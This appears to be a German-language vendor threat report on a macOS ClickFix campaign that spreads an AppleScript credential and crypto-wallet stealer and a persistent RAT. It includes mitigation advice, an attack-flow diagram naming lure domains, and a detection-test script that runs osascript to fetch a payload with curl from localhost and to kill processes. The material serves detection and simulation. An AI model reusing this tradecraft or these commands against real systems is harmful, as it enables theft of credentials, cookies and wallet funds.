macOS ClickFix-Köder setzen AppleScript-Stealer und persistentes RAT ein

SOC Prime Team

Folgen

macOS ClickFix-Köder setzen AppleScript-Stealer und persistentes RAT ein

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Eine russischsprachige Bedrohungsakteur nutzt eine ClickFix-Social-Engineering-Kampagne, um eine zweistufige macOS-Malware-Infektion bereitzustellen. Der Angriff beginnt mit einer dateilosen Ausführungskette, die über Terminalbefehle gestartet wird, und liefert einen AppleScript-basierten Infostealer namens Meow (DEBUG) zusammen mit einem persistierenden Fernzugriffs-Trojaner. Die Malware zielt auf Kryptowährungs-Wallets, Browser-Anmeldedaten und Messaging-Sitzungsdaten ab, während auch eindringliche Codeinjektionen in Desktop-Wallet-Anwendungen durchgeführt werden.

Untersuchung

Netskope Threat Labs identifizierte am 31. Mai 2026 eine aktualisierte Version der Kampagne, die einen Wechsel von einem einfachen Stealer zu einem leistungsfähigeren RAT zeigt. Ihre Analyse deckte einen ausgeklügelten dateilosen Infektionsablauf, Geofencing-Logik, die entwickelt wurde, um russischsprachige Opfer zu vermeiden, und ad-hoc Neusignierung zur Umgehung des macOS Gatekeeper-Schutzes auf. Die Forscher verknüpften die Kampagne auch mit 25 kurzlebigen Lock-Domains, die dieselben Registrierungs-Kontaktdaten teilten.

Minderung

Verteidiger sollten Priorität darauf legen, Lock-Domains zu blockieren und auf verdächtige Terminalbefehle zu überwachen, die curl and osascriptbeinhalten. Organisationen sollten strengere Kontrollen über den Terminalzugriff anwenden und auf unautorisierte Änderungen an Anwendungsbündeln von Kryptowährungswallets achten. Host-basierte Erkennung kann sich auch auf die Persistenz-Pliste com.apple.accountsd und das /tmp/shub_ Staging-Muster konzentrieren.

Reaktion

Wenn diese Aktivität erkannt wird, sollte der betroffene macOS-Host sofort isoliert werden, um weiteren Datendiebstahl oder potenzielle seitliche Bewegungen zu stoppen. Alle installierten Desktop-Kryptowährungswallets sollten als kompromittiert betrachtet und von vertrauenswürdigen Quellen neu installiert werden. Ermittler sollten ebenfalls eine forensische Überprüfung der LaunchDaemons und LaunchAgents auf unautorisierte Einträge durchführen, mit besonderem Augenmerk auf com.apple.accountsd.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Initial Access and Execution attack_drive_by["Action – Drive-by Compromise Opfer besuchen bösartige Lock-Domains wie filesapphirecanvas.sbs oder filemintcastle.sbs, die sich als macOS-Dienstprogramme oder GitHub-Repositorys ausgeben."] class attack_drive_by action attack_user_exec_copy["Action – User Execution: Malicious Copy and Paste Social Engineering-Opfer, um Befehle von gefälschten Websites in das macOS-Terminal zu kopieren."] class attack_user_exec_copy action attack_obfuscation["Action – Obfuscated Files or Information: Embedded Payloads Verwendet Gzip-komprimierte und Base64-codierte Heredoc, um einen Stage 1 Loader im Arbeitsspeicher auszuführen."] class attack_obfuscation action %% Loader Logic and Guardrails loader_stage1["Process – Memory Resident Loader Wird über obfuskierte Befehlskette ausgeführt, um Festplattenspuren zu vermeiden."] class loader_stage1 tool guardrail_geofence["Action – Execution Guardrails: Mutual Exclusion Überprüft das Layout der Macintosh-Tastatur, um russischsprachige Benutzer über Geofencing-Logik zu meiden."] class guardrail_geofence action loader_reflective["Action – Reflective Code Loading Ruft zweite Stufe AppleScript über curl ab und piped es direkt in osascript Speicher."] class loader_reflective action %% Payload and Credential Theft malware_meow["Malware – Meow-Payload Arbeitsspeicherresidenter Payload aktiv nach reflektierender Ladung."] class malware_meow malware attack_gui_capture["Action – Input Capture: GUI Input Capture Verwendet eine gefälschte Systemeinstellungen- Dialog, um Benutzeranmeldepasswörter zu sammeln."] class attack_gui_capture action attack_securityd["Action – Credentials from Password Stores: Securityd Memory Entsperrt das macOS-Schlüsselbund, um sichere Speicherschlüssel mit gesammelten Passwörtern zu extrahieren."] class attack_securityd action %% Data Theft and Exfiltration attack_browser_discovery["Action – Browser Information Discovery Scannt nach Browserdaten über Chrome, Safari und Firefox."] class attack_browser_discovery action attack_session_steal["Action – Steal Web Session Cookie Exfiltriert Sitzungs-Cookies, um unerlaubten Zugriff zu erhalten."] class attack_session_steal exfiltration attack_crypto_theft["Action – Financial Theft Zielt auf Kryptowährungs-Wallets einschließlich MetaMask-Erweiterungen und Desktop-Apps wie Exodus und Ledger."] class attack_crypto_theft exfiltration %% Persistence and C2 persistence_launch["Persistence – LaunchAgent oder LaunchDaemon Erzeugt einen persistenten Mechanismus, getarnt als com.apple.accountsd."] class persistence_launch persistence c2_beaconing["Action – Command and Control Etablieren eines 60-Sekunden- Beaconing-Zyklus mit dynamischer Auflösung für willkürliche Code-Ausführung."] class c2_beaconing tool %% Connections attack_drive_by –>|führt_zu| attack_user_exec_copy attack_user_exec_copy –>|löst_aus| attack_obfuscation attack_obfuscation –>|führt_aus| loader_stage1 loader_stage1 –>|führt_zu| guardrail_geofence guardrail_geofence –>|erlaubt| loader_reflective loader_reflective –>|lädt| malware_meow malware_meow –>|führt_aus| attack_gui_capture attack_gui_capture –>|ermöglicht| attack_securityd attack_securityd –>|führt_zu| attack_browser_discovery attack_browser_discovery –>|führt_zu| attack_session_steal attack_browser_discovery –>|führt_zu| attack_crypto_theft malware_meow –>|etablieren| persistence_launch malware_meow –>|kommuniziert_mit| c2_beaconing "

Angriffsfluss

Angriffsszenario & Befehle: Ein Angreifer hat sich über eine bösartige Webseite Zugang verschafft. Er führt ein dateiloses macOS-AppleScript aus, um dateibasierte Scans zu umgehen. Das Ziel des Skripts ist es, eine sekundäre Nutzlast durch Vorspiegelung eines legitimen Chrome-Browser-User-Agents herunterzuladen, um grundlegende Netzwerküberwachung zu vermeiden, und dann sofort alle laufenden Kryptowährungswallet-Anwendungen zu beenden, um den Benutzer daran zu hindern, seine Mittel zu sichern. Der Angreifer nutzt osascript um curl mit spezifischen Flags und kill -9 diese Aktionen durchzuführen.

Regression Test Skript:

#!/bin/bash
# Simulation von dateilosem macOS AppleScript Stealer

echo "[+] Starte Simulation: Dateiloser macOS Stealer"

# Schritt 1: Simuliere den curl Nutzlastabruf über osascript (Löst selection_curl_ua aus)
echo "[+] Führe Phase 1 aus: Gefälscher Curl via osascript..."
osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null &

# Warte einen Moment auf Prozesskreation
sleep 2

# Schritt 2: Simuliere Prozessbeendigung (Löst selection_kill aus)
# Wir verwenden einen Dummyprozess zum Beenden, um das System nicht zu stören
echo "[+] Führe Phase 2 aus: Prozessbeendigung via osascript..."
sleep 1
osascript -e 'do shell script "kill -9 $$"' # Hinweis: Dies beendet die aktuelle Untershell, simuliert die Absicht

# Hinweis: Für eine sauberere Simulation, die ein echtes Ziel nachahmt:
# sleep 1 && sleep 1 &
# osascript -e 'do shell script "kill -9 $!"'

echo "[+] Simulationsbefehle gesendet."

Aufräumbefehle:

# Es wurden durch das Skript keine Dateien erstellt, aber wir stellen sicher, dass keine Hintergrundprozesse mehr bestehen.
killall osascript 2>/dev/null
echo "[+] Aufräumen abgeschlossen."

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten